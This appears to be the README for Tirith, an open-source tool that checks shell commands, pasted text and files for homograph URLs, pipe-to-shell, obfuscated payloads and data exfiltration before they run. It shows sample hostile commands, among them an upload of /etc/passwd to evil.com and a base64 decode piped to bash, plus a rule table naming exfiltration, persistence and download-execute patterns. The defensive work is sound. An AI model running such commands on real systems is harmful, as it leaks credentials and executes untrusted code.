Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious
Your browser would catch this. Your terminal won't.
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](SKILL.md) | [Changelog](CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).
Can you spot the difference?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromisedYou can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.
Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.
brew install tirithThen activate in your shell profile:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source[!TIP]
eval "$(tirith init)"auto-detects your current shell (it inspects the parent process and falls back to$SHELLif needed). The explicit--shellflag is only required when you want to override the detection.
That's it for interactive-shell coverage. Commands accepted by that shell are
checked while the hook is loaded and healthy; exact blocking behavior depends
on the shell and mode. Run tirith doctor after installation and upgrades, and
read enforcement by shell before treating the hook as
an authorization boundary. Clean commands stay silent and normally take the
fast path.
Also available via npm, cargo, mise, apt/dnf, and more.
Homograph attack, blocked before execution:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)The command never executes.
Pipe-to-shell with clean URL, warned, not blocked:
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.Warning prints to stderr. Command still runs.
Base64 decode-execute chain, blocked:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bashCatches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.
Credential exfiltration, blocked:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote serverCovers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.
Malicious skill file, caught on scan:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argumentScans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.
Normal commands, invisible:
$ git status
$ ls -la
$ docker compose up -dNothing. Zero output. You forget tirith is running.
244 detection rules across 35 categories.
| Category | What it stops |
|---|---|
| Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |
| Terminal injection | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |
| Steganography defense | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography |
| Pipe-to-shell | curl | bash, wget | sh, httpie | sh, xh | sh, python <(curl ...), eval $(wget ...), plus many wrapper, decode, and indirection paths |
| Base64 decode-execute | base64 -d | bash, python -c "exec(b64decode(...))", powershell -EncodedCommand, decode chains through sudo/env wrappers |
| Data exfiltration | curl -d @/etc/passwd, curl -T ~/.ssh/id_rsa, wget --post-file, env var uploads ($AWS_SECRET_ACCESS_KEY), command substitution exfil |
| Code file scanning | Obfuscated payloads (eval(atob(...))), dynamic code execution (exec(b64decode(...))), secret exfiltration via fetch/requests.post in JS/Python files |
| Credential detection | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |
| Post-compromise behavior | Process memory scraping (/proc/*/mem), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling |
| Command safety | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations |
| Environment | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| Config file security | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| Install-command safety | APT repos added from a piped download, [trusted=yes] / --allow-unauthenticated / --nogpgcheck / pacman SigLevel = Never (disabled signature checks), kubectl apply -f against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, brew install/tap from arbitrary URLs |
| Path analysis | Non-ASCII paths, homoglyphs in paths, double-encoding |
| Rendered content | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |
| Cloaking detection | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
| Windows / PowerShell | Set-ExecutionPolicy Bypass / -ep, Windows Defender exclusions (Add-MpPreference -Exclusion*), inline iex (iwr ...) download-execute |
| Terminal output defense | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) |
| Operational context | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu apply without a matching saved plan, risky sudo escalation, privileged docker run |
| Workstation & persistence | Loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, .npmrc), persistence footholds (shell rc, authorized_keys, crontab, LaunchAgents, git core.hooksPath), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle |
| Blast radius & correlation | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then git push --force |
| Trust, attestation & provenance | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot |
| Web3 command guard | On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's web3_guard policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored |
| Wallet exfiltration | Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and xargs / find -exec operand promotion. A source-only read is deliberately not a finding |
| CI artifact poisoning | A fork-reachable workflow that uploads a build artifact, consumed by a privileged workflow_run workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it |
Tirith analyzes the structure of commands, pasted text, and files before they execute. It is a pre-execution gate, not a runtime defense, and does not cover:
tirith check warn
or block; they do not isolate a command after launch. The explicit
capsule run --preset untrusted-project and enforcing pkg install paths
provide fail-closed containment only on supported x86_64 Linux hosts.tirith run checks
a downloaded script's structure; it is still not dynamic malware analysis.)tirith browser audit is an explicit,
one-shot, read-only integrity audit of extension source trees. It never reads
cookiNo open issues yet, or sync has not completed.